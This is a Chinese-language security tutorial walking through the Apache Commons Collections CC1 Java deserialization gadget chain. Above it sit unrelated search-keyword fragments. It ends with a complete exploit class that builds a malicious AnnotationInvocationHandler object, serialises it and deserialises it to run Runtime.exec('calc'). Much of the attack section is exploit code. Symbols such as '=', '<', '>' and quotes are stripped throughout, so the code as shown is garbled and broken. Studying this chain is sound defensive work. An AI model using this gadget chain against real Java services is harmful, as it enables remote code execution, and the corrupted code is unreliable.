主机做网站工具,wordpress app 开发教程,哪些网站页面简洁,怎么查看一个网站的浏览量Java安全之CC链1分析 什么是CC链环境搭建jdk下载idea配置创建项目 前置知识Transformer接口ConstantTransformer类invokerTransformer类ChainedTransformer类 构造CC链1CC链1核心demo1demo1分析 寻找如何触发CC链1核心TransformedMap类AbstractInputCheckedMapDecorator类readO… Java安全之CC链1分析 什么是CC链环境搭建jdk下载idea配置创建项目 前置知识Transformer接口ConstantTransformer类invokerTransformer类ChainedTransformer类 构造CC链1CC链1核心demo1demo1分析 寻找如何触发CC链1核心TransformedMap类AbstractInputCheckedMapDecorator类readObject方法 完整cc链1 exp 什么是CC链
Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections 其封装了Java 的 Collection(集合) 相关类对象它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类Commons Collections被⼴泛应⽤于各种Java应⽤的开发而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用导致了反序列化漏洞的普遍性和严重性
Apache Commons Collections中有⼀个特殊的接口其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数叫做InvokerTransformer它可通过反射调用类中的方法从而通过一连串的调用而造成命令执行这条链便叫做Commons Collections链简称cc链。
建议学习cc链之前先学一下Java的反射机制
环境搭建
jdk下载
我们一共需要下载两个东西
CommonsCollections 3.2.1java 8u66 高版本的jdk有些漏洞已被修复
java 8u66下载地址
一些源码为class文件idea反编译出来的文件不方便阅读我们需要去下载openjdk的源码并导入我们的jdk中
下载地址
在jdk 8u66安装好后我们进入安装目录的jdk1.8.0_65文件夹将 src.zip 解压到当前文件夹
然后将刚才下好的openjdk源码解压并来到src\share\classes下面将sun文件夹复制到jdk的src目录中
idea配置
我们点击左上角的项目结构
然后将jdk的src目录分别添加到类路径和源路径中
创建项目
我们构建系统选择Maven然后创建名为cc1的项目
然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容 用于下载commons-collections依赖 dependencies!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --dependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.2.1/version/dependency/dependencies最后右键 pom.xml,再点击 Maven选项按图上标号顺序点击即可
生成源代码需要等待一小会等目录中出现target文件夹时即可点击 重新加载项目
到此我们所需环境配置完成下面开始调试分析
前置知识
Transformer接口
接口代码为
public interface Transformer {public Object transform(Object input);
}该接口实现了对 对象 的转化对传入的对象进行一些操作然后并返回操作完的对象
该接口的重要实现有
ConstantTransformerinvokerTransformerChainedTransformerTransformedMap
这些实现的类都与CC链有关以下是对这些实现的介绍
ConstantTransformer类
ConstantTransformer类的代码为
public class ConstantTransformer implements Transformer, Serializable {public static Transformer getInstance(Object constantToReturn) {if (constantToReturn null) {return NULL_INSTANCE;}return new ConstantTransformer(constantToReturn);}public ConstantTransformer(Object constantToReturn) {super();iConstant constantToReturn;}public Object transform(Object input) {return iConstant;}public Object getConstant() {return iConstant;}
}我们着重分析下ConstantTransformer构造方法和transform方法
其ConstantTransformer构造方法接收任意类型对象并赋值给 iConstant 变量然后无论 transform方法接收什么 input 参数其都会返回 iConstant 变量也就是说假如只调用构造方法和transform方法的话我们传入什么对象就会原封不动地返回什么对象
invokerTransformer类
invokerTransformer类的代码为
public class InvokerTransformer implements Transformer, Serializable {private static final long serialVersionUID -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public static Transformer getInstance(String methodName) {if (methodName null) {throw new IllegalArgumentException(The method to invoke must not be null);}return new InvokerTransformer(methodName);}public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {if (methodName null) {throw new IllegalArgumentException(The method to invoke must not be null);}if (((paramTypes null) (args ! null))|| ((paramTypes ! null) (args null))|| ((paramTypes ! null) (args ! null) (paramTypes.length ! args.length))) {throw new IllegalArgumentException(The parameter types must match the arguments);}if (paramTypes null || paramTypes.length 0) {return new InvokerTransformer(methodName);} else {paramTypes (Class[]) paramTypes.clone();args (Object[]) args.clone();return new InvokerTransformer(methodName, paramTypes, args);}}private InvokerTransformer(String methodName) {super();iMethodName methodName;iParamTypes null;iArgs null;}public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName methodName;iParamTypes paramTypes;iArgs args;}public Object transform(Object input) {if (input null) {return null;}try {Class cls input.getClass();Method method cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() does not exist);} catch (IllegalAccessException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() cannot be accessed);} catch (InvocationTargetException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() threw an exception, ex);}}}我们同样分析下 InvokerTransformer构造方法和transform方法
构造方法为 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName methodName;iParamTypes paramTypes;iArgs args;}该方法接收3个参数分别为 方法名方法参数类型表方法参数在成功接收这三个参数后便会赋值给其成员变量iMethodNameiParamTypesiArgs
transform方法为 public Object transform(Object input) {if (input null) {return null;}try {Class cls input.getClass();Method method cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() does not exist);} catch (IllegalAccessException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() cannot be accessed);} catch (InvocationTargetException ex) {throw new FunctorException(InvokerTransformer: The method iMethodName on input.getClass() threw an exception, ex);}}该方法首先需要接收一个名为 input 的对象参数如果该参数不存在则返回NULL然后通过 getClass() 方法获取该对象的class对象赋值给cls然后又通过 getMethod() 方法获取cls对象中指定参数类型的公共方法最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行最后返回执行结果基于反射机制实现。
ChainedTransformer类
ChainedTransformer类代码为
public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID 3514945074733160196L;private final Transformer[] iTransformers;public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length 0) {return NOPTransformer.INSTANCE;}transformers FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);}public static Transformer getInstance(Collection transformers) {if (transformers null) {throw new IllegalArgumentException(Transformer collection must not be null);}if (transformers.size() 0) {return NOPTransformer.INSTANCE;}Transformer[] cmds new Transformer[transformers.size()];int i 0;for (Iterator it transformers.iterator(); it.hasNext();) {cmds[i] (Transformer) it.next();}FunctorUtils.validate(cmds);return new ChainedTransformer(cmds);}public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {if (transformer1 null || transformer2 null) {throw new IllegalArgumentException(Transformers must not be null);}Transformer[] transformers new Transformer[] { transformer1, transformer2 };return new ChainedTransformer(transformers);}public ChainedTransformer(Transformer[] transformers) {super();iTransformers transformers;}public Object transform(Object object) {for (int i 0; i iTransformers.length; i) {object iTransformers[i].transform(object);}return object;}public Transformer[] getTransformers() {return iTransformers;}
} 我们分析其ChainedTransformer构造方法和transform方法
首先构造方法接收一个Transformer[]接口类型的数组并将其赋值给成员变量iTransformers
public ChainedTransformer(Transformer[] transformers) {super();iTransformers transformers;
}然后transform方法会循环遍历该Transformer数组执行该数组每一个成员的 transform 方法并将执行结果作为下一次 transform 的参数最后返回最终的执行结果 public Object transform(Object object) {for (int i 0; i iTransformers.length; i) {object iTransformers[i].transform(object);}return object;}ChainedTransformer类可以说非常重要是cc链的核心它可以将整条cc链串起来进行链式执行
构造CC链1
CC链1核心
cc链1的核心就是以下代码
Runtime.class.getMethod(getRuntime).invoke(null)).exec(calc);
//通过Runtime类的getRuntime方法的exec函数进行命令执行demo1
实现这条核心代码的便是如下transform链
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};//transformedChain: ChainedTransformer类对象传入transformers数组可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}该方法定义了一个Transformer接口的数组然后将该数组传递给 ChainedTransformer 类
demo1分析
接下来我们来逐条分析一下
首先 transformerChain对象调用了transform方法传入参数1开始循环遍历 transformers 数组
第一次遍历
执行
ConstantTransformer(Runtime.class).transform(1)因为 Runtime 为单例类不能直接实例化所以要通过反射的方法获取 由于ConstantTransformer的transform方法不受传入参数的影响故返回值还是 Runtime.class
第二次遍历
将上一次的结果 Runtime.class带入本次transform执行
InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}).transform(Runtime.class)得到返回结果为
Runtime.class.getMethod(getRuntime)第三次遍历
将上一次结果Runtime.class.getMethod(getRuntime)带入本次transform执行
InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod(getRuntime))得到返回结果为
Runtime.class.getMethod(getRuntime).invoke(null)第四次遍历
将上一次结果Runtime.class.getMethod(getRuntime).invoke(null)带入本次transform执行
InvokerTransformer(exec, new Class[]{String.class}, new Object[{calc}).transform(Runtime.class.getMethod(getRuntime).invoke(null))得到最终执行结果为
Runtime.class.getMethod(getRuntime).invoke(null).exec(calc)我们运行可以看到成功弹出计算器
寻找如何触发CC链1核心
TransformedMap类
我们选中transform()方法查看哪里对其进行了调用
发现TransformedMap类中的checkSetValue方法对其进行了调用并返回
该方法定义如下
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer上一步的核心链然后调用它的checkSetValue方法从而触发ChainedTransformer的transform方法对Transformer数组进行遍历循环即可进行代码执行
但是我们向上找到TransformedMap类的构造方法如下
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer keyTransformer;this.valueTransformer valueTransformer;
}发现构造发现是 protected 类型的并不能直接new实例化但我们发现了其 decorate 静态方法如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}通过分析我们发现我们只需调用TransformedMap类的静态方法decorate即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象
这样我们调用checkSetValue方法时transform方法 执行的对象赋值的问题便解决了
AbstractInputCheckedMapDecorator类
接下来我们便寻找那里调用了 checkSetValue方法同样通过AltF7查找用法
这里只找到一处引用
在 AbstractInputCheckedMapDecorator类的setValue方法中该方法如下 public Object setValue(Object value) {value parent.checkSetValue(value);return entry.setValue(value);}也就是我们在执行setValue方法时便会触发cc链1
同时我们发现 TransformedMap类上文含有checkSetValue和decorate方法的类是AbstractInputCheckedMapDecorator类的子类
public class TransformedMapextends AbstractInputCheckedMapDecorator
……并且AbstractInputCheckedMapDecorator类重写了Map.Entry的setValue方法具体继承关系由下图所示
所以当我们调用由TransformedMap类装饰的Map键值对集合其Map.Entry键值对的setValue方法时调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法便会触发 checkSetValue方法从而触发cc链1
我们写一个这样的例子遍历TransformedMap类装饰的Map的Entry
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {public static void main(String[] args) throws Exception {Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer transformerChain new ChainedTransformer(transformers);HashMapObject, Object map new HashMap();map.put(key,value);//创建TransformedMap类装饰的MapMapObject,Object transformedMap TransformedMap.decorate(map, null, transformerChain);for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(1);}}
}readObject方法
然后我们再寻找哪里调用了setValue方法同样 AltF7快捷键选中查找引用
我们在AnnotationInvocationHandler类的readObject方法中找到了对setValue方法的引用好像找到了这条cc链1的反序列化起点接下来我们具体分析下
readObject方法代码如下 private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();AnnotationType annotationType null;try {annotationType AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {throw new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}MapString, Class? memberTypes annotationType.memberTypes();for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { Object value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}}我们发现需要利用的核心代码主要如下
for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { Object value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}经分析得我们首先需要满足两重if语句然后才可以对该Map.Entry执行setValue方法 这里强调一下虽然这里的setValue方法带一个初始值但我们ConstantTransformer类的transform方法不受参数影响构造方法传入什么就原封不动返回什么 第一重if
if (memberType ! null)memberType由以下关键代码获得
annotationType AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息type是构造方法传的class对象
MapString, Class? memberTypes annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型
String name memberValue.getKey(); //获取Map键值对中的键名成员名
Class? memberType memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型所以我们传入的class对象中要具有传入的Map中的键名成员而且要为Annotation类的子类下面有讲
举个例子
假如传入Map如下
HashMapObject,Object hash new HashMap();
hash.put(value,b);
则我们传入的第一个参数也就是class对象中必须有一个名为value的成员这个成员可以是属性也可以是方法 第二重if
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))我们要让里面的两个条件都为假及Map的键值不能为见面对应类型或其子类型的实例的实例同时不能为ExceptionProxy 类或其子类的实例
我们再来看下AnnotationInvocationHandler类构造方法代码如下 AnnotationInvocationHandler(Class? extends Annotation type, MapString, Object memberValues) {Class?[] superInterfaces type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length ! 1 ||superInterfaces[0] ! java.lang.annotation.Annotation.class)throw new AnnotationFormatError(Attempt to create proxy for a non-annotation type.);this.type type;this.memberValues memberValues;}该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **MapString, Object**对象
我们发现构造方法和类都私有的需要通过反射获得
然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法定义如下
//Retention.java
Documented
Retention(RetentionPolicy.RUNTIME)
Target(ElementType.ANNOTATION_TYPE)
public interface Retention {RetentionPolicy value();
}这样我们传入有个含有键名为 value 的Map即可大功告成
完整cc链1 exp
如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class Serialcc {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),//通过反射调用invoke()方法new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动notepadnew InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object hash new HashMap();//给HashMap添加一个键值对hash.put(value,b);//使用chainedTransformer装饰HashMap生成新的Map decorateMapObject,Object decorate TransformedMap.decorate(hash, null, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructor c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象oObject o constructor.newInstance(Target.class, decorate);serialize(o); //定义了一个序列化的方法unserialize(1.bin); //定义了一个反序列化的方法}public static void serialize(Object obj) throws IOException {ObjectOutputStream out new ObjectOutputStream(Files.newOutputStream(Paths.get(1.bin)));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}运行成功弹出计算器
